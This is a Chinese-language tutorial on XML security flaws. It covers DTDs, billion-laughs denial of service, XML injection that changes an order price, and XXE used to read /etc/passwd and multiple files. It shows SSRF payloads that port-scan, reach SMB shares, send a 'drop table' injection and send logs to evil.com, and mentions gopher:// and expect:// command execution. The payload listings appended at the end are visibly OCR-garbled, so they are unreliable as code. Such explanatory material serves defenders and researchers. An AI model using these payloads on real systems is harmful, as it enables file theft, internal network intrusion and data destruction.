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XML的全称是eXtensible Markup Language，意思是可扩展的标记语言，它是标准通用标记语言（Standard Generalized Markup Language,SGML）的一个子集。 
在80年代早期，IBM提出在各文档之间共享一些相似的属性，例如字体大小和版面。IBM设计了一种文档系统，通过在文档中添加标记，来标识文档中的各种元素，IBM把这种标识语言称作通用标记语言（Standard Generalized Markup Language,SGML），即GML。经过若干年的发展，1984年国际标准化阻止（ISO）开始对此提案进行讨论，并于1986年正式发布了为生成标准化文档而定义的标记语言标准（ISO 8879），称为新的语言SGML，即标准通用标记语言。
一个XML文件示例：
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一个XML文件由XML声明、文档类型定义和文档元素组成。
那么什么是文档类型定义呢？文档类型定义，也叫DTD(Document Type Definition)，可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构，DTD 可被成行地声明于 XML 文档中，也可作为一个外部引用。
DTD文档的声明及引用
内部DTD文档
	<!DOCTYPE 根元素  [定义内容]>
外部DTD文档
	<!DOCTYPE 根元素  SYSTEM "DTD文件路径">
内外部DTD文档结合		
	<!DOCTYPE 根元素  SYSTEM "DTD文件路径" [
       	定义内容
-]>
XML被设计用来存储和传输数据，任何平台上的程序都可以通过使用XML解析器来处理XML数据，XML的使用范围非常广泛，不仅仅是web应用，还包括数据库软件、浏览器等等。既然XML的覆盖面这么广，那么如果出现安全问题也是相当可怕的。而且很多软件都是使用的同一款XML解析库，如果这套解析库存在漏洞，那么无疑又将影响的范围扩大了。
    下面这张图很清晰的描述了程序在处理XML时容易出现问题的点，我们逐步来看：应用先将原始数据交给XML生成器，生成XML数据，然后将生成后的XML数据提交到web服务器，web服务器接收到XML数据后，将XML数据交给XML解析器，由XML解析器完成对XML数据的解析后把数据再返回给应用。在整个数据处理流程中，XML生成器和XML解析器这两个点是最容易出现问题的。
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在XML解析的过程中，最常见的漏洞就是拒绝服务漏洞、XML注入和XML外部实体注入。
我们逐个分析，先来看拒绝服务攻击。
下图是一个典型拒绝服务攻击的payload
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可以看到，payload中先定义了lol实体，值为“lol”字符串，然后下面又定义了lol2实体，在lol2实体中，引用10个lol实体，也就是说现在lol2的值是10个“lol”字符串，下面的lol3又引用了10个lol2实体的值，现在lol3的值是100个“lol”字符串，依此类推，到了最后在lolz元素中引用的lol9中，就会存在上亿个“lol”字符串，如果程序在解析数据时没有做特别的处理，那么极有可能对程序造成拒绝服务攻击。
再来看XML注入的例子：
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例图这是一个标准的xml文件，即将被提交到web服务器中，我们假设这是一个存有订单信息的xml文件，其中price的值不可控，quantity和address项的值可控，可以由用户自由输入，那么这时，攻击者可以实施xml注入攻击，在quantity的值中构造“<!--”，注释符，然后在address的值中先闭合前面的注释符，然后再重新根据原xml文件结构重新构造xml文件，这时候price元素的值也是可以由攻击者随意构造的，如下图：
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可以看到，我们重新构造出了一个xml文件，这时候price的值由原来的25变成了0.01，也就是说，订单的价格被成功的修改了。
在众多xml漏洞中，最容易出现的就是XXE（XML_External_Entity），也就是XML外部实体注入攻击。在文档类定定义部分，可以引用外部的dtd文件，dtd文件的路径可以是URL地址，也可以使用多种协议，所以在这里会出现安全问题。
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上图为一个标准的XXE Payload，可以看到，这里引用的外部实体为file:///etc/passwd，如果XML解析库在解析到这里时允许引用外部实体，那么程序将会请求这个地址，并将内容返回。
下面的demo是对phpmyadmin一个xxe漏洞的利用演示。


对于XXE漏洞，我们还有更多的利用技巧，比如某些场景下，我们需要在一次请求中读取多个文件，那么可以用下面的payload来实现：
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XXE不光可以读取文件，还可以通过SSRF来完成更深入的攻击。SSRF（Server Side Request Forgery）被称为服务端请求伪造攻击，与CSRF不同的是它的请求是由服务器发起的，并不是由客户端发起。
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通过这张图我们可以看到，攻击者先发送包含payload的请求到前端，前端接到数据后将xml数据发送到后端的xml解析器进行解析，这时payload被执行，payload执行后，结果可能会直接被后端返回给攻击者，也可能由payload中所指向的服务器返回给攻击者。
更常见的攻击场景如下：
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攻击者想要访问主机B上的服务，但是由于存在防火墙的原因无法直接访问，这是可以借助主机A来发起SSRF攻击，通过主机A向主机B发起请求，从而完成攻击。
SSRF攻击常用的payload如下：
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Portscan实体是通过http协议来访问主机的某些端口，通过返回信息来判断端口是否开放
Smb实体是访问内网中的共享资源
Sqli实体是对内网中web服务器发起sql注入攻击
Syslog实体可以像内网syslog服务器添加垃圾日志

除了这些，还可以扩展思路，比如对内网中的zabbix_agent进行攻击(在外部实体引用 gopher://ip:10050/1system.run[ls])，即可在该主机执行系统命令。

在PHP环境下，还可以利用封装协议来直接执行系统命令，如expect://，下面的demo中演示的是利用zend freamework的xxe漏洞来执行系统命令




也可以用php://来读取文件内容
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除了这些，还支持其他很多协议，可以自由发挥编写payload
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刚才在SSRF攻击中提到了访问共享资源，下面这个demo演示了其所带来的危害，利用的是postgresql的xxe漏洞


随着应用越来越庞大、逻辑越来越复杂，有些需求要用到XML来实现，但很多开发人员还没有充分意识到在使用和解析XML文件时可能会导致安全问题出现，xml漏洞也是一个比较好的研究方向。
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<?xml version='1.0'2>

<!DOCTYPE test [

<!ENTITY a@ SYSTEM '/etc/hostname'>

<!ENTITY al SYSTEM '/etc/passwd'>

<!ENTITY a2 SYSTEM '/etc/issue'>

<!ENTITY a3 SYSTEM '/proc/l/status'>

<--HBEEFAT-->

<!ENTITY asd

<test:Header>
<locale>&asd;</locale>

</test:Header>

begin \n&ad3;\n\n&al;\n\n&a2;\n\n&a3;
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<IENTITY portscan SYSTEM 'http://192.168.0.1:22/)'>
IENTITY smb SYSTEM '\\192.168.0.123\C$'>

<IENTITY sqli SYSTEM 'http://192.168.0.1/list

sp2id=1;drop+table+important_things;

CIENTITY syslog SYSTEM 'http://string-that-you-want-to-add.evil.com:514/'>
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<?xml version=
<order>
<product>abcccc</product>
<count>1</count>
<orderer>
<contact>Tom</contact>
<account>108779361412</account>
</orderer>
</order>

1.0" encoding="UTF-8"2>
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<2xml version="1,0"2>

<1DOCTYPE lolz [

1
2
3 crewtrTy
4 crewtITY
5 cEwTITY
6 crewtITY
7 <rEwTITY
s crEwTITY
s crewTITY
1o crewtITy
11 crewtITy
12 1>

Tol "loln>
1012 "&lol;alol;alol;alol ulol ;a0 ;10154101 5al01;41015">

1013 "al012;&1012;&1012541012;41012;&1012; 610123410125 41012410123 ">
Tols "alo13;21013;21013;21013;41013;41013;&1013;41013; 410135410135 ">
1015 "&1014;41014;41014341014;41014;41014;41014;41014;21014; 410143 ">
1016 "&1015;&1015;&1015541015541015;&1015; 410155410155 410155410153
1017 "&10163&10163810165810163410163&10163&10163410165410163410163">
1018 "&1017;41017;21017;41017;41017;&41017;41017;41017; 210173410173 ">
1019 "&1018;&1018;41018541018;41018;41018;41018;41018;&1018;41018;">

13 <lolz>alols;</lolz>
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<2xml version:
<order>
<quantity>10</quantity>
<price>25.00</price>
<address>beijing</address>
</order>





